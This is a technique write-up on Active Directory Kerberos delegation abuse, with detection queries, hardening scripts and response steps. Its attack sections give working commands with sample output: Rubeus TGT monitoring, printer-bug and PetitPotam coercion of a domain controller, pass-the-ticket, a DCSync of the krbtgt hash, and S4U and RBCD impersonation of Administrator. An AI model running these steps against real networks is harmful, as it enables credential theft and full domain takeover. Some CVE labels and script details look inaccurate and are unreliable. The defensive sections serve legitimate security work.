| Attribute | Details |
|---|---|
| Technique ID | CA-KERB-005 |
| MITRE ATT&CK v18.1 | T1558 - Steal or Forge Kerberos Tickets (Delegation Abuse) |
| Tactic | Credential Access, Lateral Movement, Privilege Escalation |
| Platforms | Windows AD (Server 2003+); All domain-joined systems with Kerberos delegation enabled |
| Severity | Critical |
| CVE | CVE-2023-21746 (Windows Kerberos delegation vulnerability); CVE-2025-60704 (New delegation vulnerability, 2025) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | Windows Server 2003 SP2-2025; All systems with Kerberos delegation enabled |
| Patched In | Partial: Disable unconstrained delegation (administrative action, not patch); Use constrained/RBCD instead (architectural change) |
| Author | SERVTEP – Artur Pchelnikau |
Note: Unconstrained delegation abuse is one of the highest-impact post-compromise attack vectors. It enables domain-wide compromise via TGT theft and forced authentication coercion.
Concept: Unconstrained Kerberos delegation is a feature in Active Directory that allows a service (typically running on a domain-joined server) to impersonate any authenticated user and access resources on that user’s behalf without restrictions. When a user authenticates to a server configured for unconstrained delegation using Kerberos, the server receives a copy of the user’s Ticket Granting Ticket (TGT) and stores it in LSASS memory. An attacker who compromises such a server can extract all cached TGTs—including those of domain admins and domain controllers—and use them to authenticate as high-privilege users, enabling domain-wide compromise.
Attack Surface: Any server or service account with the TRUSTED_FOR_DELEGATION flag enabled (visible in Active Directory user/computer properties). Common targets: Exchange servers, SharePoint servers, web servers running integrated services, API gateways. The attack requires:
Business Impact: Complete domain compromise via TGT theft. An attacker who captures a domain controller’s TGT can:
Technical Context: Unconstrained delegation is a legacy feature from older Kerberos deployments. Microsoft now recommends constrained or resource-based constrained delegation. However, many enterprise environments (especially Exchange) still rely on unconstrained delegation, creating high-risk attack surfaces. The combination of unconstrained delegation + forced authentication coercion (Printer Bug) creates a straightforward path to domain compromise.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.4.1, 5.4.2 | Disable unconstrained delegation; use constrained or RBCD instead |
| DISA STIG | WN16-CC-000510 | Disable Kerberos delegation unless absolutely necessary |
| CISA SCuBA | ID.AM-2, PR.AC-1, DE.AE-3 | Asset management; access control; detection of credential access |
| NIST 800-53 | AC-3 (Access Enforcement), AC-2 (Account Management), SI-4 (System Monitoring) | Limit delegation; monitor for forced auth attempts; restrict privileged access |
| GDPR | Art. 5 (Principles), Art. 32 (Security of Processing) | Integrity and confidentiality of Kerberos tickets; protective measures against credential theft |
| DORA | Art. 9 (Protection), Art. 10 (Detection & Response) | Protect authentication infrastructure; detect credential theft; respond to delegation abuse |
| NIS2 | Art. 21 (Cyber Risk Management), Art. 23 (Access Control), Art. 24 (Cryptography) | Manage delegation risks; enforce access control; monitor Kerberos activity |
| ISO 27001 | A.9.1.1 (Access Control Policy), A.9.2.3 (Privileged Access Management), A.9.3.1 (User Responsibilities) | Control delegation configuration; restrict privilege escalation; audit access |
| ISO 27005 | Risk Scenario: “Unconstrained Delegation and TGT Theft” | Assess probability of delegation abuse; implement compensating controls |
Supported Versions:
TRUSTED_FOR_DELEGATION flag (unconstrained only)Tools:
# Find all servers/computers with unconstrained delegation enabled
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties cn,OperatingSystem,lastLogonDate |
Select-Object Name, OperatingSystem, lastLogonDate
# Expected output:
# Name OperatingSystem lastLogonDate
# ---- --------------- -------
# EXCHANGE01 Windows Server 2019 1/6/2026
# SHAREPOINT01 Windows Server 2016 1/2/2026
# WEBAPP01 Windows Server 2022 1/3/2026
# Find users with unconstrained delegation (rare but possible)
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties cn,lastLogonDate |
Select-Object Name, lastLogonDate
# Check if servers can delegate to specific SPNs (constrained) or any service (unconstrained)
Get-ADComputer -Identity "EXCHANGE01" -Properties msDS-AllowedToDelegateTo |
Select-Object Name, msDS-AllowedToDelegateTo
# If msDS-AllowedToDelegateTo is empty or null = unconstrained delegation
# If msDS-AllowedToDelegateTo contains service names = constrained delegation (safer, but still exploitable)
# Prioritize servers that:
# 1. Are running critical services (Exchange, SharePoint)
# 2. Have domain admin or high-privilege users logging in
# 3. Are frequently accessed by domain admins
# Check for Domain Controllers
Get-ADComputer -Filter {PrimaryGroupID -eq 516} -Properties cn,TrustedForDelegation |
Where-Object { $_.TrustedForDelegation -eq $true }
# DCs should NEVER have unconstrained delegation (misconfiguration)
Supported Versions: Server 2003 SP2 through 2025
Objective: Gain local administrator access on the target server (prerequisite for running Rubeus).
Attack Vectors:
Assume we have compromised EXCHANGE01 with local admin access.
Objective: Listen for and capture TGTs forwarded via Kerberos delegation.
# Execute on the compromised EXCHANGE01 server (elevated prompt)
C:\Temp\Rubeus.exe monitor /interval:5 /nowrap
# Output will show:
# [*] Monitoring for TGT events, interval 5 seconds
#
# Every 5 seconds, any TGT forwarded to this server will be captured
What This Means:
Objective: Force the domain controller to authenticate to the compromised server, forwarding its TGT.
On a different machine (with domain user credentials):
# Download SpoolSample.exe (Printer Bug PoC)
# Or use printerbug.py from Impacket (Linux alternative)
# Windows PoC: SpoolSample
SpoolSample.exe DC01.pentestlab.local EXCHANGE01.pentestlab.local
# Linux alternative: printerbug.py from krbrelayx
python3 printerbug.py pentestlab.local/domain_user:password@DC01.pentestlab.local EXCHANGE01.pentestlab.local
What This Means:
Expected Output (on EXCHANGE01 in Rubeus monitor window):
[*] 1/6/2026 9:35:00 AM - Found TGT for user DC01$ in LSASS
[+] Ticket Options : Forwardable, Forwarded, Initial, Renewable
[+] Service Name : krbtgt/PENTESTLAB.LOCAL
[+] Service Realm : PENTESTLAB.LOCAL
[+] User Name : DC01$ @ PENTESTLAB.LOCAL
[+] Start Time : 1/6/2026 9:35:00 AM
[+] End Time : 1/7/2026 9:35:00 AM
[+] Base64(ticket):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKrhggSnMIIEo6ADAgEFoQ8bDVBFTlRFU1RMQU...
# On EXCHANGE01, copy the base64-encoded ticket from Rubeus output
# Convert to .kirbi file for use with Mimikatz/Rubeus
# Method 1: Use PowerShell to decode and save
$ticket = "doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKrhggSnMIIEo6ADAgEFoQ8bDVBFTlRFU1RMQU..."
[System.IO.File]::WriteAllBytes("C:\Temp\dc01.kirbi", [System.Convert]::FromBase64String($ticket))
# Method 2: Use Rubeus to convert directly
Rubeus.exe base64 /in:"BASE64_TICKET_HERE"
# Now use the TGT for DCSync or lateral movement
# Import the ticket
Rubeus.exe ptt /ticket:dc01.kirbi
# Or with Mimikatz
mimikatz # kerberos::ptt c:\temp\dc01.kirbi
# Now authenticated as DC$ machine account via the captured TGT
# Perform DCSync to extract KRBTGT hash and all domain credentials
mimikatz # lsadump::dcsync /user:krbtgt /domain:pentestlab.local
# Or use Impacket (Linux)
secretsdump.py -k pentestlab.local/DC01\$ -no-pass DC01.pentestlab.local
What This Means:
OpSec & Evasion:
Version-Specific Notes: Identical across all Windows versions 2003 SP2-2025.
Troubleshooting:
Get-Service Spooler -ComputerName DC01)Supported Versions: Server 2012+ (S4U extensions)
TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition enabled)msDS-AllowedToDelegateTo containing target SPN# Get TGT for the service account
Rubeus.exe asktgt /user:service_account /domain:pentestlab.local /rc4:SERVICE_ACCOUNT_HASH /nowrap
# Perform S4U2Self (request ticket to itself as another user)
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/fileserver.pentestlab.local /ticket:SERVICE_TGT_HERE /ptt
# Or in one command
Rubeus.exe s4u /user:service_account /rc4:SERVICE_ACCOUNT_HASH /impersonateuser:Administrator /msdsspn:cifs/fileserver.pentestlab.local /domain:pentestlab.local /ptt
What This Does:
Supported Versions: Server 2012+
# If you have write permissions on a target computer object:
# Modify msDS-AllowedToActOnBehalfOfOtherIdentity to include your controlled account
# Step 1: Get your account's SID
Get-ADUser -Identity "attacker_user" | Select-Object SID
# Step 2: Add it to target computer's RBCD attribute
Set-ADComputer -Identity "TARGET_COMPUTER" `
-PrincipalsAllowedToDelegateToAccount (Get-ADUser attacker_user)
# Step 3: Perform S4U attack
Rubeus.exe s4u /user:attacker_user /rc4:ATTACKER_HASH /impersonateuser:Administrator /msdsspn:cifs/target /ptt
Primary Command for TGT Capture:
# Monitor for forwarded TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Flags:
# /interval:X - Check every X seconds
# /nowrap - Single-line base64 output (easy to copy)
# /filteruser: - (Optional) Filter for specific user's TGT
Compilation & Usage:
# Compile from source
cd SpoolSample
csc SpoolSample.cs
# Trigger Printer Bug
SpoolSample.exe DC01.domain.local ATTACKER_SERVER.domain.local
Usage:
python3 printerbug.py domain/user:password@DC_IP ATTACKER_SERVER
# Windows
PetitPotam.exe -u DOMAIN\USER -p PASSWORD ATTACKER_SERVER DC_IP
# Linux
python3 PetitPotam.py ATTACKER_SERVER DC_IP
Rule Configuration:
KQL Query:
// Detect SMB connection from DC to non-DC server (unusual)
SecurityEvent
| where EventID == 5156 // Network connection allowed
| where Direction == "Inbound"
| where Application == "System" // RPC/SMB via System
| where DestinationPort in (445, 139, 135) // SMB/RPC ports
| summarize
Connections = count(),
Sources = make_set(SourceIPAddress)
by DestinationIPAddress, bin(TimeGenerated, 5m)
| where Connections >= 5 // Multiple connections in 5 mins = suspicious
Manual Configuration:
Rule Configuration:
KQL Query:
// Detect S4U2Self (Account Name == Service Name)
let S4U2Self = SecurityEvent
| where EventID == 4769
| where TicketOptions == "0x40800018" // S4U2Self flag
| project Time_S4U = TimeGenerated, Account_S4U = TargetUserName, Service_S4U = ServiceName, LogonGUID = LogonGuid;
// Detect correlated S4U2Proxy (TransitedServices non-empty)
SecurityEvent
| where EventID == 4769
| where TicketOptions == "0x40820010" // S4U2Proxy flag
| where TransitedServices != "-" // Transited services present = S4U
| join kind=inner S4U2Self on LogonGuid // Correlate by logon GUID
| project TimeGenerated, Account_S4U, Service_S4U, ServiceName, TransitedServices
| where (TimeGenerated - Time_S4U) <= 1s // Events within 1 second = correlated attack
Manual Configuration (Azure Portal):
Event ID: 4769 (Service Ticket Request)
TicketOptions = 0x40800018 (S4U2Self)TicketOptions = 0x40820010 (S4U2Proxy)TransitedServices (non-empty = S4U proxy use)Event ID: 5156 (Network Connection Allowed)
Event ID: 5136 (Directory Service Modification)
msDS-AllowedToActOnBehalfOfOtherIdentity attributemsDS-AllowedToDelegateTo attribute# Enable Network Policy Server (NPS) audit logging on DCs
auditpol /set /subcategory:"RPC Events" /success:enable /failure:enable
# Enable Filtering Platform auditing
auditpol /set /subcategory:"Filtering Platform Connection" /success:enable /failure:enable
# Monitor for S4U attacks (4769 events with specific ticket options)
Get-WinEvent -FilterXPath "*[System[(EventID=4769)]] and EventData[Data[@Name='TicketOptions']='0x40800018' or Data[@Name='TicketOptions']='0x40820010']" `
-LogName Security -MaxEvents 100 |
Select-Object TimeCreated, @{N="Account";E={$_.Properties[0].Value}}, @{N="Service";E={$_.Properties[2].Value}}
Disk Artifacts:
C:\Temp, %APPDATA%, or attacker’s working directory.kirbi ticket files exported to disk.ps1 scripts containing S4U commandsMemory Artifacts:
Event Log Artifacts:
TicketOptions = 0x40800018 or 0x40820010 (S4U attacks)Network Artifacts:
Timeline Artifacts:
Action 1: Disable Unconstrained Delegation (Recommended)
This is the only sure mitigation for unconstrained delegation abuse.
Applies To Versions: All Windows Server versions
Manual Steps (PowerShell):
# Find all accounts with unconstrained delegation
$accounts = Get-ADComputer -Filter {TrustedForDelegation -eq $true}
foreach ($account in $accounts) {
Write-Host "[*] Disabling unconstrained delegation for $($account.Name)"
# Disable the flag
Set-ADAccountControl -Identity $account -TrustedForDelegation $false
# Verify
$updated = Get-ADComputer -Identity $account
if ($updated.TrustedForDelegation -eq $false) {
Write-Host "[+] SUCCESS: Unconstrained delegation disabled for $($account.Name)"
} else {
Write-Host "[-] FAILED to disable for $($account.Name)"
}
}
Or, via Active Directory Users and Computers GUI:
Consequences:
Alternative: Migrate to Constrained or Resource-Based Constrained Delegation
# Constrained Delegation (specify allowed services)
Set-ADComputer -Identity "EXCHANGE01" `
-ServicePrincipalNames @{Add="HTTP/exchange.pentestlab.local"} `
-TrustedForDelegation $false
# Resource-Based Constrained Delegation (on target resource)
Set-ADComputer -Identity "FILESERVER01" `
-PrincipalsAllowedToDelegateToAccount (Get-ADComputer "EXCHANGE01")
Action 2: Disable Print Spooler on Domain Controllers (Mitigates Printer Bug)
The Printer Bug relies on the Print Spooler service. Disabling it eliminates this coercion vector.
Applies To Versions: Server 2003 SP2 through 2025
Manual Steps (PowerShell - on each DC):
# Stop Print Spooler
Stop-Service -Name Spooler -Force
# Disable autostart
Set-Service -Name Spooler -StartupType Disabled
# Verify
Get-Service -Name Spooler | Select-Object Name, Status, StartType
# Expected: Disabled, Stopped
Or, via Group Policy:
gpupdate /forceImportant: This disables Print Spooler on ALL DCs, which may impact legitimate printing scenarios. Test in lab first.
Action 1: Enable Kerberos Armoring (FAST)
FAST (Flexible Authentication Secure Tunneling) adds cryptographic armoring to Kerberos exchanges, making them harder to manipulate.
Manual Steps (Group Policy):
gpupdate /forceAction 2: Enforce “Account is Sensitive and Cannot be Delegated” Flag for High-Privilege Users
Prevent delegation for domain admins and other high-privilege accounts.
# Set flag on Domain Admin group members
$domainAdmins = Get-ADGroupMember -Identity "Domain Admins"
foreach ($admin in $domainAdmins) {
Set-ADUser -Identity $admin `
-AccountNotDelegated $true
Write-Host "[+] Set 'Cannot be delegated' flag for $($admin.Name)"
}
# Add members of Protected Users group (auto-enforced)
# Users in Protected Users group cannot be delegated
Add-ADGroupMember -Identity "Protected Users" -Members $domainAdmins
Action 3: Monitor Delegation Abuse Continuously
# Weekly audit of delegation configuration
$delegated = Get-ADComputer -Filter {TrustedForDelegation -eq $true}
if ($delegated.Count -gt 0) {
Write-Host "[WARNING] Found $($delegated.Count) accounts with unconstrained delegation:" -ForegroundColor Yellow
$delegated | Select-Object Name | Format-Table
# Send alert
Send-MailMessage -To "security@domain.local" `
-Subject "ALERT: Unconstrained Delegation Detected" `
-Body "Review and disable unconstrained delegation on: $($delegated.Name -join ', ')"
}
Files:
.kirbi ticket filesRegistry:
Event Log:
TicketOptions = 0x40800018 or 0x40820010Network:
Disable Compromised Server:
# Disconnect from network OR disable network interface
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Or isolate via firewall
# Block all outbound traffic except to security team
Reset Potentially Compromised Passwords:
# If DC machine account compromised, rotate KRBTGT password twice
Set-ADAccountPassword -Identity "krbtgt" -Reset -NewPassword (GenerateRandomPassword 32)
Start-Sleep -Seconds 36000 # Wait 10 hours
Set-ADAccountPassword -Identity "krbtgt" -Reset -NewPassword (GenerateRandomPassword 32)
# Reset domain admin passwords
$admins = Get-ADGroupMember -Identity "Domain Admins"
foreach ($admin in $admins) {
Set-ADAccountPassword -Identity $admin -Reset -NewPassword (GenerateRandomPassword 30)
}
# Export Security event logs from DC and compromised server
wevtutil epl Security "C:\Evidence\Security_DC_4769_24h.evtx" `
/q:"*[System[(EventID=4769) and TimeCreated[timediff(@SystemTime) <= 86400000]]]"
wevtutil epl Security "C:\Evidence\Security_Compromised_4662_24h.evtx" `
/q:"*[System[(EventID=4662) and TimeCreated[timediff(@SystemTime) <= 86400000]]]"
# Dump Rubeus monitor output
Get-Content "C:\Temp\rubeus_monitor.log" | Out-File "C:\Evidence\Rubeus_TGT_Capture.txt"
Disable Unconstrained Delegation on All Servers:
Get-ADComputer -Filter {TrustedForDelegation -eq $true} |
ForEach-Object { Set-ADAccountControl -Identity $_ -TrustedForDelegation $false }
Disable Print Spooler on DCs:
Get-ADDomainController | ForEach-Object {
Stop-Service -ComputerName $_.HostName -Name Spooler -Force
}
Timeline Reconstruction:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566 - Phishing] OR [T1190 - Exploit Public-Facing App] | Initial network compromise |
| 2 | Execution & Persistence | [T1204 - User Execution] OR [T1566.002 - Phishing: Spearphishing Link] | Malware deployment |
| 3 | Privilege Escalation | [T1548 - Abuse Elevation Control] | Escalate to local admin on delegated server |
| 4 | Credential Access - Delegation Abuse | [CA-KERB-005: Unconstrained Delegation] | Capture TGT via Printer Bug + Rubeus |
| 5 | Credential Access - DCSync | [T1003.006 - OS Credential Dumping: DCSync] | Extract KRBTGT hash and all domain credentials |
| 6 | Credential Forgery | [CA-KERB-003: Golden Ticket] | Create golden ticket for persistence |
| 7 | Persistence | [T1556 - Modify Domain Policies] | Create backdoor admin accounts; modify GPOs |
| 8 | Impact | [T1561 - Disk Wipe] OR [T1486 - Encrypt Data for Impact] | Ransomware or data destruction |